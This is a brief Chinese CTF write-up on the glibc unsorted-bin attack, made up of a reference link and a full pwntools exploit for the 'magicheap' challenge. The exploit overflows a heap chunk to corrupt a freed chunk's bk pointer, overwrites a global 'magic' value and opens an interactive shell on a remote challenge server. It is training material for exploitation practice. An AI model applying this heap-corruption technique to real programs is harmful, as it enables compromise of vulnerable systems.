unsortbin attack的利用

详情见

https://ctf-wiki.org/pwn/linux/user-mode/heap/ptmalloc2/unsorted-bin-attack/#unsorted-bin-attack_1

```
from pwn import *

io=remote('node4.buuoj.cn',27622)
#io=process('magicheap')
elf = ELF('./magicheap')
context.log_level = 'debug'

def create(size,content):
    io.recvuntil("Your choice :")
    io.sendline(str(1))
    io.recvuntil("Size of Heap : ")
    io.sendline(str(size))
    io.recvuntil("Content of heap:")
    io.sendline(content)

def edit(index,size,content):
    io.recvuntil("Your choice :")
    io.sendline(str(2))
    io.recvuntil("Index :")
    io.sendline(str(index))
    io.recvuntil("Size of Heap : ")
    io.sendline(str(size))
    io.recvuntil("Content of heap : ")
    io.sendline(content)

def delete(index):
    io.recvuntil("Your choice :")
    io.sendline(str(3))
    io.recvuntil("Index :")
    io.sendline(str(index))

create(0x20,'ah') #0
create(0x80,'heihei') #1
create(0x20,'hehe') #2
delete(1)
magic = 0x6020A0
payload = 'a'*0x20+p64(0)+p64(0x90)+p64(0)+p64(magic-0x10)
#gdb.attach(io)
edit(0,0x40,payload)
#gdb.attach(io)
create(0x80,'heihei')#1
#gdb.attach(io)
#create(0x20,str(0x1405))#2 magic
io.recvuntil("Your choice :")
io.sendline(str(4869))

io.interactive()
```